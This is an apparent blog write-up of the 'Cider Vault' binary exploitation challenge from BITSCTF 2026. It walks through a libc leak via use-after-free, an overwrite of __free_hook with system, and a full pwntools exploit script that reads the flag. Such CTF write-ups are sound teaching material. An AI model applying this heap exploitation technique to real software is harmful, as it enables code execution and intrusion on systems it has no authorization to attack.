450 words
2 minutes
BITSCTF 2026 - Cider Vault - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}

Challenge Description#

Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680

Protections: 64-bit PIE, Full RELRO, Canary, NX.

Analysis#

From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:

  1. open pagemalloc(size)
  2. paint page → writes attacker bytes to chunk
  3. peek page → prints attacker-chosen bytes from chunk
  4. tear pagefree(ptr)
  5. stitch pagesrealloc + copy from another page
  6. whisper path → rewires pointer as: vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91

Bugs used:

  • UAF: tear page frees memory but pointer is not nulled
  • OOB read/write: paint/peek allow up to size + 0x80
  • Arbitrary pointer assignment: whisper path lets us set page pointer to almost any address

Exploitation#

Step A — Leak libc with unsorted bin:

  1. Allocate large chunk (0x500) so free goes to unsorted bin
  2. Allocate guard chunk (0x100) to avoid top consolidation
  3. Free the large chunk
  4. Use UAF + peek to read first qword (unsorted fd)

Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0

Step B — Hook hijack:

  • __free_hook = libc_base + 0x1eee48
  • system = libc_base + 0x52290

Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).

Step C — Trigger code execution: Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).

File used: exploit.py

#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./cider_vault", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

LD = "./ld-linux-x86-64.so.2"
XOR_KEY = 0x51F0D1CE6E5B7A91
UNSORTED_LEAK_OFF = 0x1ECBE0


def start():
    if args.REMOTE:
        host = args.HOST or "127.0.0.1"
        port = int(args.PORT or 1337)
        return remote(host, port)
    return process([LD, "--library-path", ".", "./cider_vault"])


def choose(io, n):
    io.sendlineafter(b"> ", str(n).encode())


def open_page(io, idx, size):
    choose(io, 1)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"page size:\n", str(size).encode())


def paint_page(io, idx, data):
    choose(io, 2)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
    io.sendafter(b"ink:\n", data)


def peek_page(io, idx, n):
    choose(io, 3)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"peek bytes:\n", str(n).encode())
    out = io.recvn(n)
    io.recvuntil(b"\n")
    return out


def tear_page(io, idx):
    choose(io, 4)
    io.sendlineafter(b"page id:\n", str(idx).encode())


def whisper_path(io, idx, target_addr):
    choose(io, 6)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    token = target_addr ^ XOR_KEY
    if token >= (1 << 63):
        token -= 1 << 64
    io.sendlineafter(b"star token:\n", str(token).encode())


def main():
    io = start()

    # 1) Leak libc from unsorted bin using UAF + OOB peek
    open_page(io, 0, 0x500)
    open_page(io, 1, 0x100)  # guard chunk to avoid top consolidation
    tear_page(io, 0)

    leak = u64(peek_page(io, 0, 8))
    libc.address = leak - UNSORTED_LEAK_OFF
    log.success(f"unsorted leak: {hex(leak)}")
    log.success(f"libc base    : {hex(libc.address)}")

    free_hook = libc.symbols["__free_hook"]
    system = libc.symbols["system"]
    log.info(f"__free_hook  : {hex(free_hook)}")
    log.info(f"system       : {hex(system)}")

    # 2) Prepare command chunk; free(cmd) will become system(cmd)
    cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
    open_page(io, 2, 0x100)
    paint_page(io, 2, cmd)

    # 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
    open_page(io, 3, 0x100)
    whisper_path(io, 3, free_hook)
    paint_page(io, 3, p64(system))

    # 4) Trigger system(cmd)
    tear_page(io, 2)

    out = io.recvrepeat(2)
    print(out.decode("latin-1", errors="ignore"))
    io.close()


if __name__ == "__main__":
    main()

Run local:

python3 exploit.py

Run remote:

python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680

Retrieved flag:

BITSCTF{358289056fd6ac0fef4e114ae5abeab2}
BITSCTF 2026 - Cider Vault - Binary Exploitation Writeup
https://blog.rei.my.id/posts/41/bitsctf-2026-cider-vault-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-22
License
CC BY-NC-SA 4.0